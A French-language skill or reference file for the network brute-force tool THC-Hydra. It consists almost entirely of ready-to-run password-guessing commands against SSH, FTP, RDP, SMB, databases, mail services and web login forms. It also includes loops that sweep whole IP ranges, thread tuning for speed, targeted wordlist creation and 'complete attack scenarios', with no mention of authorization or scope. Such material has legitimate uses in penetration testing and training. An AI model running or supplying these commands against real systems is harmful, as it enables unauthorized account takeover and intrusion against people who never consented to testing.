| name | hydra |
| description | Hydra — brute-force de services réseau, protocoles supportés, formules HTTP POST/GET, wordlists personnalisées, optimisation de performance, attaque par cibles multiples, et scénarios de pentest. |
Hydra — Brute-force de Services Réseau
Présentation
Hydra (THC-Hydra) est l'outil de brute-force réseau le plus rapide. Supporte 50+ protocoles pour des attaques de mots de passe automatisées.
Installation :
sudo apt install hydra
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra && ./configure && make && sudo make install
Syntaxe de base
hydra -l admin -P /usr/share/wordlists/rockyou.txt <cible> <service>
hydra -L users.txt -p Password123 <cible> <service>
hydra -L users.txt -P rockyou.txt <cible> <service>
hydra -C combos.txt <cible> <service>
Protocoles supportés
Authentification réseau
hydra -l root -P rockyou.txt 192.168.1.10 ssh
hydra -L users.txt -P rockyou.txt -s 2222 192.168.1.10 ssh
hydra -l ftpuser -P rockyou.txt 192.168.1.10 ftp
hydra -L users.txt -P rockyou.txt ftp://192.168.1.10
hydra -l admin -P rockyou.txt telnet://192.168.1.10
hydra -l administrator -P rockyou.txt rdp://192.168.1.10
hydra -L users.txt -P rockyou.txt 192.168.1.10 rdp
hydra -P rockyou.txt -t 1 192.168.1.10 vnc
hydra -l admin -P rockyou.txt 192.168.1.10 smb
hydra -L users.txt -P rockyou.txt smb://192.168.1.10
Services mail
hydra -l user@domain.com -P rockyou.txt pop3://192.168.1.10
hydra -l user -P rockyou.txt imap://192.168.1.10
hydra -l user -P rockyou.txt smtp://192.168.1.10
Bases de données
hydra -l root -P rockyou.txt mysql://192.168.1.10
hydra -l postgres -P rockyou.txt postgres://192.168.1.10
hydra -l sa -P rockyou.txt mssql://192.168.1.10
hydra -l system -P rockyou.txt oracle://192.168.1.10/sid
hydra -P rockyou.txt redis://192.168.1.10
Web
hydra -l admin -P rockyou.txt http-get://192.168.1.10/admin/
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=Incorrect"
hydra -l admin -P rockyou.txt https-post-form://192.168.1.10/login \
"username=^USER^&password=^PASS^&submit=Login:Invalid credentials"
hydra -l admin -P rockyou.txt http-get-form \
"/login.php?user=^USER^&pass=^PASS^:F=login failed"
hydra -l admin -P rockyou.txt http-head://192.168.1.10/secure
hydra -l admin -P rockyou.txt http-post://192.168.1.10/submit
Autres services
hydra -l admin -P rockyou.txt ldap://192.168.1.10
hydra -P rockyou.txt -t 32 192.168.1.10 snmp
hydra -l 1000 -P rockyou.txt sip://192.168.1.10
hydra -l admin -P rockyou.txt cvs://192.168.1.10
hydra -l admin -P rockyou.txt icq://192.168.1.10
hydra -l admin -P rockyou.txt ncp://192.168.1.10
hydra -l admin -P rockyou.txt nntps://192.168.1.10
Formulaires HTTP POST — Format détaillé
Syntaxe du module http-post-form
hydra -l user -P pass.txt target http-post-form \
"chemin:paramètres:conditions"
Les 3 parties du format
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/login.php:user=^USER^&pass=^PASS^&csrf=token123:F=Invalid"
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/login:user=^USER^&pass=^PASS^:S=Welcome back"
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:F=401"
Formulaire avec CSRF dynamique
curl -c /tmp/cookies.txt http://cible.com/login.php | grep csrf
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/login.php:user=^USER^&pass=^PASS^&csrf_token=VALEUR:F=Incorrect"
Cibles multiples
Fichier de cibles
192.168.1.1 ssh
192.168.1.10 ssh
192.168.1.20 ssh
hydra -L users.txt -P rockyou.txt -M targets.txt
192.168.1.10:2222 ssh
Plage d'IPs
hydra -l admin -P rockyou.txt -M targets.txt ssh
for ip in 192.168.1.{1..254}; do
hydra -l admin -P rockyou.txt $ip ssh -o "results_$ip.txt" &
done
wait
Performance et optimisation
Contrôle des threads
hydra -t 4
hydra -t 32
hydra -t 1
Options de performance
hydra -w 5
hydra -w 30
hydra -w 1
hydra -f
hydra -F
hydra -T 1000
hydra -c 5
Optimisation par service
hydra -l root -P rockyou.txt -t 4 192.168.1.10 ssh
hydra -l ftp -P rockyou.txt -t 16 192.168.1.10 ftp
hydra -l admin -P rockyou.txt -t 1 192.168.1.10 rdp
hydra -l admin -P rockyou.txt -t 32 192.168.1.10 http-post-form "..."
hydra -P rockyou.txt -t 32 192.168.1.10 snmp
hydra -P rockyou.txt -t 1 192.168.1.10 vnc
Wordlists et préparation
Wordlists courantes
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt.gz
/usr/share/seclists/Passwords/...
/usr/share/wordlists/fasttrack.txt
Créer des wordlists ciblées
cat > target_words.txt << EOF
entreprise2024
societe123
paris2024
admin2024
summer2024
winter2024
password123
changeme
administrator
root
admin
EOF
crunch 8 12 abcdef123 -o custom.txt
Module de test (dry-run)
hydra -l admin -p test123 192.168.1.10 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=Invalid" -d
Sortie et logs
hydra -l admin -P rockyou.txt -o results.txt 192.168.1.10 ssh
hydra -l admin -P rockyou.txt -o results.json -b json 192.168.1.10 ssh
hydra -V
hydra -vV
hydra -d
hydra -q
Scénarios complets
1. Brute-force SSH
nmap -p22 192.168.1.10
hydra -l root -P /usr/share/wordlists/rockyou.txt \
-t 4 -V -o ssh_results.txt 192.168.1.10 ssh
hydra -L users.txt -P rockyou.txt \
-t 4 -V -o ssh_results.txt 192.168.1.10 ssh
2. Formulaire web login
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/login.php:username=^USER^&password=^PASS^&submit=Login:\
Invalid" -V -o web_results.txt
3. Brute-force RDP
hydra -l administrator -P rockyou.txt \
-t 1 -V -o rdp_results.txt rdp://192.168.1.10
crowbar -b rdp -s 192.168.1.10/32 -u admin -C rockyou.txt
4. Attaque sur plusieurs services
for service in ssh ftp rdp; do
hydra -L users.txt -P rockyou.txt \
-t 4 -o "results_${service}.txt" 192.168.1.10 $service
done
5. HTTP API REST brute-force
hydra -l admin -P rockyou.txt 192.168.1.10 https-post-form \
"/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:S=token"
hydra -l admin -P rockyou.txt 192.168.1.10 http-get \
"/api/admin"
Scripts auxiliaires
Script d'élimination des comptes verrouillés
#!/bin/bash
hydra -l admin -P rockyou.txt 192.168.1.10 ssh &
PID=$!
sleep 60
if grep -q "Connection closed" hydra.log; then
kill $PID
echo "Trop d'erreurs, arrêt"
fi
Script de rotation de proxy
hydra -l admin -P rockyou.txt ssh://192.168.1.10 -o out.txt &
while true; do
hydra -l admin -P rockyou.txt ssh://192.168.1.10 -o out.txt
sleep 10
done
Dépannage
| Problème | Solution |
|---|
| "Could not connect" | Vérifier que le service tourne, port correct |
| "Too many login attempts" | Réduire -t, ajouter -w (timeout) |
| "Account locked" | Arrêter ! Utiliser password spraying à la place |
| "Module not found" | Réinstaller hydra (./configure && make) |
| "Invalid answer" | Le format du module est incorrect (vérifier avec -d) |
| CSRF token expire | Hydra ne gère pas les tokens dynamiques → script custom |
| Rate limiting | Réduire -t, ajouter délai entre requêtes |
Antisèche rapide
hydra -l root -P rockyou.txt -t 4 192.168.1.10 ssh
hydra -L users.txt -P rockyou.txt ftp://192.168.1.10
hydra -l admin -P rockyou.txt -t 1 rdp://192.168.1.10
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid"
hydra -l admin -P rockyou.txt http-get://192.168.1.10/admin
hydra -l root -P rockyou.txt mysql://192.168.1.10
hydra -L users.txt -P rockyou.txt -M targets.txt
hydra -l admin -P rockyou.txt -f 192.168.1.10 ssh
hydra -P rockyou.txt -t 1 192.168.1.10 vnc
hydra -l test -p test -d 192.168.1.10 http-post-form "...:F=Invalid"